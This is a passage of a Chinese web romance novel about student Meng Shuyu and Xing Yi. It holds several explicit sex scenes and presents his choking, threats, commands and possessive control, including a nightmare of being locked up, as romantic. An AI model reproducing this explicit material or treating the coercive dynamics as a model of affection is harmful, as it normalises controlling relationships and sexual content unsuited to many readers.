最后一股热水流经他小腿的青筋纹路,不是所谓的静脉曲张,而是荷尔蒙旺盛的生理特征。 浴室里水汽十足,她却感觉口干舌燥。 孟纾语始终垂着眼,后退几步,身体抵到淋浴房的玻璃。 低头看他走过来,她心跳如擂鼓,脚下全是水,她不慎一滑,邢屹一手抱住她,抬起她下巴。 冷不丁撞上一双澄黑眼眸,她攥紧手指,邢屹比她镇定百倍,声音却哑了:“这么喜欢往下面看?” 她挪开视线,体温比水温还烫。 邢屹捧起她湿润的脸,低头吻她片刻。 很轻柔的力道,温热水滴顺着他额前发梢滑落,小小一颗砸到她鼻梁,涟漪却在心口泛起。 他手指勾起她吊带内侧的另一根带子。 白色蕾丝。 他指尖玩弄着,忽而低笑一声:“是我给你买的那套?” “不是,是我自己买的。” 好热,她要热得蒸发了。 邢屹松开带子,指腹有一搭没一搭地,摩挲她锁骨旁的一颗小痣。 “下次穿我买的。”他嗓音很沉,几乎在用蛊惑人心的气音对她说,“我会脱得小心一点。” 她深呼吸,邢屹靠得更近。 燥热起伏的胸膛近在咫尺,还有他蓬勃的欲望,正抵在她防线周围蓄势待发。 最后,他把她抱起来,抵她在墙上亲吻,让她缠紧他的腰。 当她努力压制住全身细胞的狂啸,准备好接纳的时候,邢屹贴在耳边哑声说:“没买套,做不了。” “” 他沉沉笑了下:“你好像很想?” 她耳根红透,挣扎两下从他身上滑下去,嗫嚅说:“一点都不想。” 差点又被他诱惑了。 好烦人的混蛋。 她这一周都不打算理他- 正好是期末周,孟纾语忙着复习考试,没空跟混蛋纠缠。 两人的事情已经传开,她目前心如止水,深知在时光机没有发明出来之前,后悔都是没用的。 不如接受事实,过好当下。 据说pdf传开那天,因此失恋的人数不胜数,最伤心的人莫过于彭霖。 彭霖难过了一宿,化身悲伤蛙,整晚借酒消愁,扬言要去隔壁航空学院借一台飞机,撞飞邢屹,这个撬墙角的狗东西! 第二天醒来,彭霖恢复理智,心想不行啊,邢屹是他创业路上的重要合伙人,怎么能把他撞飞呢? 彭霖心一横,就此斩断红尘,专注商业,还大费周章帮兄弟澄清了谣言。 好消息,大家终于知道,邢屹根本不是渣男,孟纾语也并非跟他同居,只是寄住。 坏消息,孟纾语顺理成章成了邢屹女朋友,恋爱关系坐实。 这种感觉真的难以形容。 就像地铁门关上的前一秒,你的手机咻地一下被门外的强盗抢了。 于是你两手空空,反应过来时,地铁已经揪着你的重量一路飞驰。 中午,考完最后一科,终于要放假了。 孟纾语头昏脑涨离开教学楼。 正好是人群四散的时间,她被无数人行了注目礼。 “” 她早上进考场教室的时候,也是被这种好奇而艳羡的眼神一路注视。 害得监考老师以为她身上有什么猫腻,怀疑她是来替考的,巡考时拿起她学生证查了八遍。 孟纾语无视那些目光,自顾自走在冬日暖阳下。 许莓从后面追上来:“小语!要不要去食堂吃饭!” 她刚要应一声“好”,回过身,许莓忽然停下,一脸姨母笑:“呀,你家那位在等你了,我就不打扰了,先走啦!” 孟纾语顺着对方视线看过去。 邢屹抄着兜靠在一棵梧桐树下,身高腿长,深黑色高领毛衣沐着一层柔软光斑,眼睫低垂着,指尖时不时划一下手机屏幕,看样子又是在玩消消乐。 孟纾语趁其不备,转身偷溜。 “站住。” 他冷声叫住她。 “以为我瞎了?” 很好,又被逮住了。 她灰溜溜转过身,邢屹迎面走来,周围人的视线全部落在这儿。 不知道的还以为是什么热剧拍摄现场,她有点头皮发麻,除了高中运动会冲向终点的那一瞬,她已经很久没被这样围观过了。 邢屹手上的伤还没好,看得出袖子里还贴了一层纱布。 她别了别肩上的包带,后退一步,邢屹知道她要溜,直接揽过她肩膀把人捉进怀里:“再躲,我不介意现在跟你接吻。” 孟纾语悄然环顾四周,被那些炙热目光堵得说不出话来。 半晌才问:“你是不是早就希望公之于众了?” 他很欠揍:“回答‘是’你又不高兴。” “”知道你还说。 阳光下,两人光明正大一起走出校门。 他今天懒得开车,让林泽来接。 邢屹一上后座就摁着她后脑勺接吻,一切突如其来,她又情难自禁,断断续续溢出几声呜咽。 细密狂热的接吻声旁若无人,林泽很上道地升起了挡板。 热吻碾转,她被他压在座椅上,膝盖下意识向上一抬,碰到他裤兜,里面似乎有什么东西,一个很小的物件。 她心头一颤,停下勾缠的动作,邢屹微阖着眼审视她,忽然分开这个吻,偏头咬住她耳垂,气息滚烫不堪:“一周了,考虑好了吗?” 孟纾语咬唇沉默。 想起这几天看了不少书,一部分是徐以婵留下来的,带有生前笔记的书。 妈妈在扉页给她留了一段话。 [小语,妈妈不希望你永远循规蹈矩,只希望你快乐又洒脱,不要浪费属于你的人生。 你可以尽情地去爱,去体验。 尝试不等于失去,而是得到。] 于是这一秒,她礼尚往来咬住他喉结,闻到他锁骨周围清新的葡萄柚香,感受到他喉结上下剧烈的涌动。 她耳垂被他咬湿了,她给他一记小小的报复,也是确切的回应 一切是自然而然发生的,在卧室窗帘紧闭的正午。 孟纾语搂着他脖子,紧咬着唇,呼吸时而急促时而紧绷。 邢屹吻掉她眼角泪水。 “乖,不疼。” 她掐紧他肩膀。 或许他也挺疼的,青涩的褪去过程总是伴随愉悦的疼痛。 以后的事情谁也说不清楚。 唯独铭记这瞬间,像被呼啸而过的地铁贯穿心脏。 也像一鼓作气扯掉手指边缘的倒刺。 孟纾语知道,他们是截然相反的两个人。 她乖巧,守序,而邢屹是个离经叛道百无禁忌的疯子,时而冷血,时而病态。 但他需要她。 他希望她坦荡地爱上他,希望她接受他给予的一切。 他危险十足,但这一秒,他给了她无可替代的疯狂体验。 她双眸漫起水雾,模模糊糊地,只见他挺阔的肩膀沁出汗水,顺着锁骨滴落而下,沾湿她。 体内升起异样的沸腾感,她用力将他抱紧,颤着声线喊他的名字。 有时候他太狠了,她就生气地咬他肩膀。 咬得很用力,倔强地一声不吭。 齿痕深嵌,邢屹在喘息中途倒吸一口凉气,沉声笑她:“孟纾语生气的时候,就会变成孟无语。” “?” 她瞪他一眼。 根本没力气说话,只能在酸软的攻陷下彻底松口。 室内昏暗一片,声响清脆起伏,她不敢相信自己可以发出这样甜腻的声音,而他明显听上了瘾,吻住她横冲直撞。 在她失神的前一刻,他漆黑眼眸狠狠盯住她,命令她放假不许回宁城,除非跟他一起。 刚要反驳,他手指突然伸进她湿润口腔。 “要是敢从我身边逃走,今后放进你嘴里的就不止是手指。” 第25章 回吻坏掉[末尾小修] 孟纾语一时羞恼,咬他手指。 其实力气很小,但失神时难以分辨,只听见他沉声一喘,误以为把他咬疼了。 出于愧疚和情。动,她搂着他脖子主动吻他。 邢屹没有完全闭眼,撩扯着丝一样的视线,看她毫无章法地献吻,脸颊红扑扑的模样让他心生怜爱,也生出一股恶劣的破坏欲,他喉结一滚,拿捏好分寸掐住她脖子追吻。节奏突然难以控制。 她逐渐适应,并不抵触,反而有种坠入深海抓紧浮木的本能依恋。 双腿缠着他的腰,勒得他骨头快断了,很紧。 邢屹眉心紧锁,吻着吻着开始咬她舌尖,在她腰侧掐了一记:“放松,太紧了。” 她呜一声,舌头隐隐约约的疼,腰也被他掐得酸麻,好委屈:“我不是故意的” 邢屹被她撩起火,主动权让渡过来,允许她吻住之后缠着他舌尖咬回去。 她真咬了,这次是故意的,但她仍说不是,邢屹含混低笑:“是么,原来是天生的,天生就这么会咬我,这么会吞我。” 就这么挑衅了他一下,她的心跳再次被贯穿。 人在极度兴奋时会出现幻觉,她似乎看见破土而出的芽,喷绽的岩浆,看见鲸鱼反反复复跃出海面,水花四溅。 两人跌跌撞撞,相拥滚落地毯,邢屹覆在她背上,从后面掰过她的脸接吻。 他吻得急切而凶猛,她像一颗熟透的车厘子,被他咬碎捏碎撞碎,揉出一滩汁水。 她无所凭依,紧紧攥住他结实充血的手臂。 被困在这地动山摇的视野里,她勉强看清,原来这就是他情。动的模样,是仅她一人得以窥见的凶狠与柔情。 很快,她耳鸣了。 模模糊糊听见他的粗喘声,她一开始还能支撑住,后来手臂软了,整个人滑下去又被他捞起来,他掐着她下颌用力吻她,她呜咽说让他慢一些,声音被深吻堵住,求饶了好几声他才听清。 随后变本加厉。 房间暖气太足,她自顾不暇,笨拙地擦掉流经他下颌线的汗水。 好热,脸颊泛起红晕的模样在他眼里着实有趣,他很混蛋地勾住她舌尖,继续缠绞。 为什么,明明他那么用力,抚摸的力道却格外怜惜。 她从小到大获得了很多爱,可这一秒才真的体会到满得溢出的爱,这份爱热烈如子弹出膛,紧贴枪。管磨溅出细碎火星。 邢屹咬住她耳朵,用浑哑不堪的嗓音说爱她。 她因此软成一片,呜呜半晌也没说出什么来,天生就会磨他。 他像被她紧紧咬住的缰绳,再被她磨几下就真的快断了。 无数个爱字夹杂在喘气声里,邢屹不甘心得不到回应,于是紧紧抱住她,吻她脆弱的颈侧。 薄薄一层白皙肌肤,覆盖着生生不息的动脉,他力道轻了下来,她却有种快要断气的错觉。 除了掉眼泪,她给他的回应就不剩别的。 他亲吻她眼角。 泪水微咸。 她哭了。 她第一次为他而哭,却不是因为难过。 她不难过,她很快乐。 邢屹因此躁动,亢奋得开始骂脏,孟纾语学他的方式吻他喉结,含着哭腔控诉:“你好没礼貌” 他气笑了。 这种时候她还能认认真真跟他讲道理。 不过话说回来,他很喜欢她的一本正经。 因为这种乖巧注定会被他狠狠打破。 “我没礼貌,那什么叫有礼貌,这样?还是这样?” 他一边逞凶,一边声哑气喘地戏谑。 她咬唇哼声,几乎被他死性不改的狷狂死死钉住,脑海眩晕迷离。 内心深处有多害怕他,此刻就有多迷恋这种规则之外的疯狂,仿佛刀尖舔蜜,火上浇油。 感情这东西毫无道理可言,彼此之间自有一套运行法则,一套游走于爱意极端的法则。 邢屹抱着她让她坐在身上,再次吻她,她魂都没了一半,身心掀起一场汹涌飓风,然后是铺天盖地的海啸,呼吸声沸反盈天。 她用柔软的声音骂他混蛋,不是讨厌,而是难捱时下意识的发泄。 任她怎么骂,邢屹看见她泛红的双眼,反而更加亢奋,手指伸进她口腔搅弄,掌控着轻重缓急,像上刑一样命令她:“现在还不可以。” 她要哭了。 一点点涎水混着泪水,流经他指骨,他兴味盎然地说,好湿。 混蛋又问她喜不喜欢他,她没有回答,他就掐着她发狠,她用支离破碎的声音说喜欢,好喜欢 最后的最后,他眼底泛起有一丝无关情。欲的、想要亲吻她的冲动。 夕阳光线溢入窗帘缝隙。 她软绵绵趴在他胸口,邢屹玩猫似的揉她头发。 她像一只缺氧昏迷的小鱼,被他浇了一捧水,醒来。 意识凌乱,她眼睛没有完全睁开,听见他低喃着,小语,宝宝。 他体温滚烫,她昏昏沉沉埋进他肩膀,像窝进一片温暖的小天地。 他又掰过她脸颊亲了会儿,一吻分离,疲惫和燥热缓缓蔓延,畅然而舒倦。 她觉得自己很像一个甜甜圈,中间的空缺被他用疯狂的爱意填满。 他闭了会儿眼睛,在天色彻底暗下去之前,他掀起眼皮看她,抚摸她脸颊,说宝宝,你好漂亮。 她再次升温。 羞恼地捂住他嘴巴,他却轻轻吻了她掌心- 连续两天,在他怀里醒来。 邢屹黏人的时候就没那么可怕了,甚至会让她觉得安心,有点想摸摸他黑茸茸的脑袋。 中午,她站在厨房岛台前清洗草莓。 邢屹从身后抱过来,脑袋蹭她肩膀,一番胡搅蛮缠。 孟纾语问起卓耀明那件事,最后是怎么解决的。 邢屹说懒得管,让别人处理了,还说假如卓耀明再犯贱,他会一枪蹦了他的脑袋。 “” 果然还是很可怕。 她动了动肩膀:“走开啦,我要装盘。” ——“小语?” 玄关传来邢美莱的声音。 完了,逃跑来不及,她一鼓作气从他怀里滑下去,假装摔倒。 邢屹冷不丁被她碰瓷,嘴角牵起笑,竟然很配合地蹲下来扶她。 邢美莱从客厅绕过来,看见他们都在家里,还挺意外:“放寒假了怎么不出去玩?” “在家做作业呀,有很多实践报告要写。” 孟纾语佯装镇定,攀着邢屹手臂站起来,被他挠了一下手心,他小声耳语,说你还挺会演啊,她说跟你学的。 邢美莱今天心情不错,专门回来做午饭。 餐桌上,她和邢屹并排坐,邢美莱在对面一边吃饭一边翻阅文件,注意力全在工作上。 孟纾语认真吃饭,一言不发,邢屹在桌下 勾她的腿。 她屏息凝神,夹起一块咕噜肉里的菠萝放到碗里,筷子对着菠萝啪叽一戳。 手机震了几下。 宿舍群里,一排整整齐齐的探头表情包,颇有八卦意味。 她怪心虚的。 打字回:[你们干嘛?] 路露:[孟同学,爱情固然好,学习也重要~] 附带一条从教务网转发过来的告示链接。 京大最新的海外交流项目发布了。 她点开查看,大多是赴美的交换项目,为期一学期或一学年,有意向并符合选拔条件的学生可以尽早报名,筛选流程比较复杂。 与此同时,邢屹在桌上接了个电话,那边似乎絮絮叨叨,他简单应了几声,没聊几句就挂了。 邢美莱翻着文件问:“又是你外公?” “嗯。” 老生常谈,邢屹已经习惯了。 外公表面上关心他学业进度,实际无非是想让他早点把国内的事情处理完,再把他丢到纽约的集团分部,美名其曰让他历练一两年。 孟纾语听着他和莱姨谈话,没有插嘴,邢屹忽然静下来,拿过她手机扫了一眼。 看见海外交流项目的详情界面,他问她:“想去?” 她想了想说:“还不确定,我只是看一看,到时候要跟我爸商量的。” 邢屹心想,如果非要出国,那就很没意思。 但如果是和她一起,日子将会变得很有趣。 “要不要跟我一起?”邢屹问。 她愣了下。 这也太直白了,好想用菠萝堵他的嘴。 对话很微妙,邢美莱目光一亮:“你们关系这么好啦?不过也好,出国的话还是有个伴比较方便,相互有个照应。” 孟纾语沉默几秒,邢屹又问:“要不要一起?” “唔”避免他口出狂言,她随口应付,“可以,如果我报名通过的话。” 邢屹撑着额头看她:“是不是说谎?” “?”怎么又来了。 他总是喜欢反复试探。 “就算我说可以也不一定真的可以呀,你先不要当真,毕竟这种事情总是有很多变数的,要走一步看一步。” 她认真说话时,邢屹一直盯着她嘴唇。 图谋不轨。 她立刻低下头夹菜,心说别看了别看了,再看要被怀疑了。 即便已经走完亲密关系的最后一步,邢屹对她的兴趣也只增不减。 她心想,如果今后必须要这么维持关系的话,她对他可能会产生一丝天真想法,觉得他是可以被改造的。 野生的狼都可以被驯化,邢屹为什么不可以? 应该可以的。 吃完饭,邢美莱坐了会儿就又出门了。 她刚走没多久,门铃狂响。 来者不善。 邢屹猜到是谁,因此不屑一顾,兀自坐在沙发上划手机。 孟纾语秉持着礼貌原则,只好把人请进家里坐着。 邢漫芊一坐下,开口就质问邢屹:“我儿子呢?你把他弄哪儿去了?” 孟纾语想,其实对方早就猜到孩子被送到外公家了,这会儿只是想借机发泄一下被无视的情绪。 邢屹划着手机,头也不抬:“你猜。” 邢漫芊冷笑一声:“好,真好。你外公要是受得了一个自闭症,那就让他受去吧。” 其实只是嘴硬,不到一会儿就又开始激动:“赶紧把他给我接回来,送回家!” “你自己不会去?” “我怎么可能去,邢屹,我知道你是故意的,你明知道我跟邢钟宏至今没有和解,你存心想让我难堪!” 眼看着就要吵起来,孟纾语赶紧出声:“阿姨,我上次去邢老先生家,问过星星了,他说外公家很好,想一直住下去,因为那里没有人打他。” 音落,邢漫芊不说话了,眼神局促地闪了闪。 孟纾语说:“星星很有音乐天赋,好好教他的话,即使他的病症治不好,长大之后他也可以靠一技之长养活自己,只要给他多一点耐心。” “我给的耐心还不够吗!”邢漫芊压着脾气说,“我自己的孩子,我怎么管教他,别人管不着吧。” “但是您那种方式,也不是正常的管教吧”孟纾语大着胆子说,“您想把星星接回去,也不是因为爱他,而是因为,他是您目前唯一可以支配掌控的人吧。” 邢漫芊哑口无言。 她已经完全不占理了。 邢屹牵起嘴角笑了下,讽刺度拉满。 顿了会儿,邢漫芊一眼就看出对面这两人氛围不对。 是极致亲密之后才会有的默契。 她冷声说:“小孟,我劝你一句,不是我把邢屹养坏的,是他本身就坏,你趁早离他远一点,别被他害了,到时候后悔莫及。而且,你不知道他以前做过什么事吧?” 邢屹划动手机的指尖突然一顿。 孟纾语愣愣说:“我好像知道,他在家里纵火然后被你报警抓走到公安局了?” 邢漫芊哼笑:“这都算小事一桩了。等你知道他之前做过的事情,你就会知道,他是多么冷血无情的一个人。” 说完,她拎包离开,大门砰一声关上。 孟纾语有点心烦,怎么话说一半就不说了? 邢屹阴沉着脸,靠坐在沙发上看着天花板,手机也不碰了。 她默了会儿,什么也没问,只在不远处的柜子里找出之前没收的烟和打火机。 走到他面前,把东西递给他:“给你。” “不用。”他仰头闭了闭眼,说话时喉结轻滚,“你又闻不了烟味。” 她妥协:“你可以出去抽。” “戒了。” “戒烟哪有那么容易,你一无聊就嚼薄荷糖,不就是烟瘾犯了吗。” “你关心我?”他睁眼看着她,毫无情绪地笑了下,“是真的关心还是假的关心?” 又来了,他又来了。 “假的假的,一点都不关心你。” 刚要走,被他攥着手腕扯回去,她晕晕乎乎跌到他怀里,突然被他吻住 餐桌附近有冰镇红酒用的冰桶,邢屹从里面取了一块冰。 他把她抱过来,吻了会儿,被她闷住鼻息,再然后,他把冰咬碎,含化。 舌尖忽冷忽热地滑过,吮吻,撩拨。 她攥着桌角。 足够了,她用力推他。 后来被他恶狠狠翻了个面,摁在餐桌上逞凶。 “为什么一开始住进来,吃饭的时候总是那么快上楼,一分钟都不想跟我多待?” 她拧眉喘气,暗骂这人怎么这么爱翻旧账! 颤声说:“那个时候,我有点怕你” 邢屹低笑一声,像报复更像惩罚,撩开她身后凌乱的长发,摁着她变本加厉地发狠,低身埋到她肩上,吻她耳后泛红的肌肤。 别人说他冷血无情,可用力时却烫得过分。她强撑着一点力气,双手乱动,想寻找一个稳固支撑。 不料桌角的手机被用力一撞,啪一声掉地。 完了完了。 诶,好像不是她的手机,是邢屹的。 他在身后用力掰过她的脸:“不准看它,看我。” 看手机又不是看别人,这也不行吗,她脖子扭得酸疼,委屈说:“它坏掉了。” “什么坏掉了?” “手机,被摔坏了” “再不专心看着我,你也要坏掉了。” 非要她百分百专注,邢屹咬住她耳垂,又说了一句让她面红耳赤的话。 一股热流喷在她耳畔。 “被我撞坏。” 第26章 回吻“疼就掐我。” 桌上的粉青釉花瓶快倒了。 不行! 她慌忙伸手去扶,却被肆意狠撞,视野倏然一乱,她紧扒着桌面找回平衡,哭腔七零八落,刚要抬头换气,转眼又被他摁趴。 身下垫着一件他的黑色毛衣,软乎乎包裹着桌沿,不会把她硌疼。 经历过这种地震体验,下次还怎么心无旁骛在这吃 饭。 越想越脸热。 或许是她给的反应太强烈,简直声色并茂,刺激他的肾上腺素,于是他畅然淋漓地舒出一口气,用力在她腰侧掐了一记:“小语真会学乖,平时不爱吃饭,不是要人催就是要人喂,现在怎么这么会吃我?” 她整个人烧起来。 不用回头都能想象出他微仰起头垂眼看她的表情,眼神倨傲而百无禁忌。 邢屹似乎很喜欢她升温的状态,缓缓地,一手顺着她后颈摸到脸颊,感受她强忍的颤。 他笑了下。 “想高了?” 她咬唇不语,他突然拦腰把她抱起来,九十度回到一百八十度,后背撞到他胸膛,她终于有了换气机会,可是快要攀顶的过山车却滞了在半空。 她茫然而无措,掐住他手臂定了定神,莫名焦急起来。 回头撞进他眼里,邢屹微垂视线,好整以暇睨着她,一手掐在她脖子前恶劣透顶地说:“我没说可以,就不可以。” “” 第二次故意抑制她了! 坏东西,等着 转眼到了傍晚。 孟纾语累得不行,骨头有点疼,又生着闷气,一下午抱着枕头,窝在沙发角落一动不动,看客厅大屏里上下飞蹿的兔子老大。 话说回来,她真的很想知道邢漫芊口中“邢屹曾经做过的事”,究竟是什么。 如果是很严重的事,为什么不直接告诉她? 好讨厌,话说一半徒乱人意。 片刻,邢屹从厨房过来,给她递一杯温水。 她不喝,他就喂她喝。 差点呛到,他手背给她抹去水渍,把她抱进怀里哄,揉揉她头发,问她假期想去哪里玩,随时带她去。 她脱口而出:“去北极。” “好,我给林泽打电话,让他安排。” “我开玩笑的。” 邢屹冷飕飕掠她一眼,她人畜无害地笑一下,不知为什么他也跟着笑,手指捏她脸颊晃了晃。 她借此机会说:“邢屹,不如我们来做个游戏吧,我告诉你一个秘密,作为交换,你可以告诉我,你以前到底做过什么坏事。” 他笑容收敛。 “你又在怀疑我?” “” 这是生气了吗。 都不用去北极,他这个表情已经把她冻住了。 她咽了咽喉咙说:“没有,我只是好奇,你不想说我就不问了。” 就当邢漫芊从没来过,她也从没听过那些模棱两可的暗示。 邢屹波澜不惊看她几秒,随即百无聊赖望向电视屏幕,一边揉她脑袋,语气轻飘飘又坦荡无畏:“我做的坏事多了去了,你要是问我具体有哪些,我也不记得。” “哦” 她没再问,心想,只要不是什么夹杂血光之灾的重大事件就好 晚上,她正计划哪天回宁城,老孟忽然打来电话,说让她不用订票了。 她窝在被子里翻了个身,抱住自己八十厘米的面包玩偶。 “为什么?” 老孟轻松道:“因为你莱姨呗,她刚给我发消息了,让我过年直接到京北去,我们一起过除夕。” “” 那岂不是很危险,万一被老爸看出什么猫腻。 她扯起被子蒙住脑袋,欲盖弥彰小小声说:“爸,我还是想回去一趟,要不你跟莱姨说,就说你不——” 浴室门忽然打开。 邢屹洗完澡出来,香气侵袭而来,她立刻改口:“好的爸,到时候你过来吧,我就不回去了。” 老孟开开心心说好。 电话挂断。 邢屹套了条灰色运动裤,整个人热腾腾的,直接覆下来,恶霸似的拽走她怀里的面包玩偶,把她捉进怀里抱着。 一个无比温热的怀抱,她莫名怔了一下,没有动弹,他从身后把脑袋埋进她肩膀,一呼一吸的声音沉闷而倦懒。 她局促片刻,好像猜到他想做什么。 但现在不可以。 “那个,我例假来了。” “嗯,我知道。” 他阔热的手掌从腰侧绕到前面,轻轻捂住她小腹。 很暖,她安安静静任他抱着,心底漾起涟漪。 “要不要喝水?”他问。 “不用,喝过了。” “难受吗?” “还好,我每次都会提前吃止痛药。” 他沉吟片刻,说下周给她请个老中医看看,一直吃药也不是办法。 半晌,邢屹把灯关了,在昏暗里抱着她,手掌打着圈轻轻给她揉。 止痛药效果一般,偶尔还是会泛起一阵酸痛,她皱眉闷哼一声,邢屹听见了,贴在她耳边说:“疼就掐我。” “掐哪?” “随便。” “”她思想已经不纯洁了。等阵痛过去,她翻个身迎面钻进他怀里,闭上眼,“没事的,不怎么疼,一会儿就好了,快睡吧。” 邢屹借着月光亲她脸颊,捏捏她后颈:“还去不去北极?” 他居然当真了。 她睁开眼看着他,忽然很想笑:“干嘛,要是我说想去月球,难道你真的给我买艘太空船吗?” “买啊。”他牵起嘴角笑,“想要的都给你买。” 聊着聊着,就这么被他哄困了。 话题弯弯绕绕,邢屹忽然说:“找一个好时间,带你去拉斯维加斯结婚。” 她说才不要,谁要跟你结婚,而且还是在国外,简直像被拐了,好危险。 他震着胸腔笑:“那你小心点,被我拐出国了就再也回不来了。” 入睡前一秒,耳边似乎还绕着他的声音,轻柔而沙哑。 或许会因此做一个浪漫柔情的梦。 但事实相反,她在梦里哭得声嘶力竭。 “放我出去!” 她用力拉扯门锁,一点用都没有。 室内一片漆黑,头顶是一个刺眼的小红点。 她被监视了。 红点闪烁的频率让她心生恐惧,音量提了一度:“邢屹!你听见了吗,快点放我出去!” 喊了好几声都没人回应,她哭得哽咽,不断拍门呼喊,手掌疼得要命。 终于,闲适沉哑的声音从红点处传出:“听话,别哭了。” 他在耐心哄她,她却越听越害怕。 没什么力气了,整个人贴着门板滑下去,抱着膝盖抽泣:“你放我出去,我要回家” “这里就是你的家。” “不是”她哭着说,“我要回国,你快点把证件还我,放我回国” 那边安静几秒,忽然不着痕迹地笑了声:“哭什么?我早就跟你说过,做了决定就不能反悔。” 她慌了:“你在说什么?我明明什么都没答应你!” “你答应了。”邢屹气定神闲说,“你答应过,会乖乖待在我身边,会跟我结婚。” “我没有!” 她惊醒。 窗外已是蟹青色的天。 深呼吸缓了会儿,转身,邢屹的睡颜近在咫尺。 差点被吓到。 下一秒才发现这不是梦,是现实。 她还在国内,很安全,而邢屹此刻也只是不松不紧地抱着她,没有凶她,更没有把她锁起来。 还好,还好 而且他安静睡着的样子真的很好看。 就连那颗小小的眼尾痣都变得温柔。 孟纾语屏息凝神,盯着他蛊惑人心的睡颜研究好久,最后,她想悄无声息翻回去。 刚一动,突然被他更用力地抱住。 这么快就醒了? 邢屹在她颈侧亲一下,呼吸沉了沉,牵过她的手。按下去。 她瞳孔一震。 “你怎么现在就” 他刚醒,声音拖着倦懒的哑,蹭到她耳边犯浑:“小屹在跟你打招呼,早上好。” “” 她的手,已经很久没做除了弹钢琴之外的事了。 磨了半晌。最后关头,她想起邢屹之前的恶劣行为,突然灵光一闪,想以其人之道还治其人之身 。 于是她拇指堵住。 鼓足勇气,有样学样说:“现在还不可以。” 邢屹眉心一拧,目光恼怒又纵容,声音完全哑了:“给你三秒,放开。” “不放。” “不放是吧。”他掐住她下颌,“张嘴。” 她心头狂震,立刻松手- 虽然没有达到预期的效果,但也算得逞了。 至少他露出了她想看的表情。 真令人心情愉悦。 下午,邢屹在外公的电话催促下,换上休闲西服出了门。 孟纾语重获自由,心情更好,自顾去附近书店逛了一圈,买了几本关于现象学的书。 今天阳光明媚,光线照亮路边积雪,铺开一个澄明晚冬。 孟纾语一路散步晒太阳,走到胡同口外侧一条氛围祥和的小商街,隐约听见小狗的哀鸣声。 她应声止步。 前方是一家小咖啡馆,有个戴着棕色围裙的年轻女生,正焦急地望着二楼空调外机。 上面居然蹲了只脏兮兮的垂耳小狗。 天,它怎么上去的? 孟纾语跑上前。 “请问是您养的狗吗?” “啊?”女生干笑一声,温柔道,“不是不是,应该是流浪的吧,不知道怎么上去的,现在下不来了,我刚刚才听见它在叫,得想个办法把它弄下来。” 小狗害怕掉下去,只能把自己团成一个球,瑟瑟发抖,一双黑不溜秋的眼睛直愣愣看着她们,呜了一声,像求救。 女生说她是这家咖啡馆的老板,这栋楼是拿来出租的,二楼没人住,不能直接从屋子里开窗救狗。 孟纾语心想,这种情况,还是打消防热线最保险 车里,邢屹靠坐在后座,腿上搭着平板。 他了无生趣地翻看林泽发来的照片资料,有点好笑地问:“徐部长的儿子减肥了?” 林泽匀速开车,尴尬而不失礼貌地纠正:“您说的这个应该是周局的儿子,他一直那么瘦的。” “哦。” 长得没什么辨识度,谁记得住。 大约几十张照片,邢屹翻得头疼,直接把平板关了甩到一旁,靠着椅背闭目养神。 其实照片里的人脸都在私人饭局里见过,都是上赶着对邢家献殷勤的那一批,所以他懒得记,记不住。 上次陪外公参宴,闲聊时,他把一个姓刘的老头喊成了姓赵的,对方面露局促,外公在一旁瞪他一眼,转头跟人家圆场:“真是抱歉,我这个孙子记性差,您见谅。” 其实记性并不差,他一直记得那个老头戴的是假发。 邢屹离经叛道,但邢老爷子可是个体面人,当晚就让林泽准备了一份资料,命令邢屹每天看一遍,别再脸跟名字对不上号了,太气人了你个臭小子。 资料备好之后,林泽接下监督任务,像个陪嫁丫鬟一样事无巨细,叮嘱未来的继承人,让他上点心,别辜负了老先生的期望。 邢屹懒洋洋应下:“知道了。孟纾语今天是不是出门了?” “”林泽心说你到底把我的话听进去了吗! 无奈,林泽叹了口气,认真说:“是的,孟小姐出门了,她去逛书店,现在应该还在店里。” “哦。哪家书店,直接开过去吧。” 林泽照做。 车子慢腾腾拐进一条街道,路边闪过一个熟悉的身影。 乌黑长发,白色的毛呢大衣,灰绒绒的围巾,被阳光勾勒的清甜侧脸。 诶,这不是邢大少爷心心念念的人吗。 林泽乐悠悠靠边停车,回身:“孟小姐就在——” 转头,后座车门砰一声关上。 邢屹早就下车,手里勾着一件西服外套阔步朝前走去。 咖啡馆前,孟纾语刚要拨通消防热线,一阵脚步声不疾不徐靠近。 懒散嗓音从头顶落下:“不是说去了书店?” 他语气比较温和,音量只有她听见。 她愣了下,回头,邢屹正顺着她前一秒的视线看向楼上。 她看着他明显的下颌线,眨眨眼说:“去过书店了,现在在救狗,它下不来了。” 一旁,咖啡馆老板双目明亮地盯着邢屹,直到听见他问:“有没有凳子?普通的就行。” 她醒过神来,快速点头:“有有有,我去拿。” 很快,一张铁质的吧台凳拿了出来。 邢屹直接踩在上面,加上他自带的身高,整体高度绰绰有余。 他三两下把西服外套抻开,举到空调外机下,示意小狗跳进来,他可以接着它。 小狗顿了顿,慢慢摇起了尾巴,抖着四只小短腿,准备跳到外套做的安全兜袋里。 但它还是很怕。 最终耗时十分钟,小狗跳进他的外套里,成功获救。 孟纾语不动声色看着一双长腿从凳子上下来,她抿抿唇,多看了几眼。 邢屹笔挺地站着,抖了抖西服外套,提溜着小狗的后颈脖,把它拎到地上放着。 它绕着圈圈蹭他裤腿。 “你毛好脏。”邢屹嘴上嫌弃它,却也没走远,他拿起凳子,看向咖啡馆老板,“直接给你放回去?” 对方仰头直勾勾看着他,眼神里明晃晃的喜欢,少女心已然荡漾:“那个,额就是,请问你有女朋友吗?” 孟纾语没听他们说话,只顾看着小狗蹭他裤腿,下一秒,突然觉得自己的小腿也有点痒。 回头,一只肥硕的米白色活物正在嗅她。 她吓得叫出声,仔细一看,原来是只拉布拉猪。 怎么这么大只啊! 咖啡馆老板正专心搭讪呢,冷不丁被拉布拉多搅乱,她锤了一记狗头:“谁让你出来的?对不起,吓到你了,它不咬人,就是喜欢凑热闹。” 孟纾语定了定神。 “没事,它挺可爱的。” 邢屹在身后笑了下,直接揽过她肩膀把她圈进怀里。 咖啡馆老板登时愣住。 大街上,被他这么明目张胆抱着,呼吸闷在他胸膛,免不了心头一悸。 只听他懒散道:“不好意思,我女朋友胆子有点儿小,也爱吃醋,微信就不加了。” “?” 第27章 回吻喜欢 兽医院。 医生给小狗做了全面检查,各项结果很健康,就是饿太久了。 护士给它倒了一盆狗粮,它立刻闷头干饭,给它调整碗盆位置它也不护食。 “哎呀,这只好乖呀,比上次那只黑毛球乖多了。”护士说。 邢屹双手向后撑着,整个人倚靠在桌边,百无聊赖嚼碎薄荷糖,垂眸看着狗脑袋。 “乖不乖不知道,蠢倒是挺蠢。” 让它上车就上车,让它下就下,丝毫不考虑眼前的人类是不是坏人。 难怪会被人恶意抛到空调外机上,真是一点记性都不长。 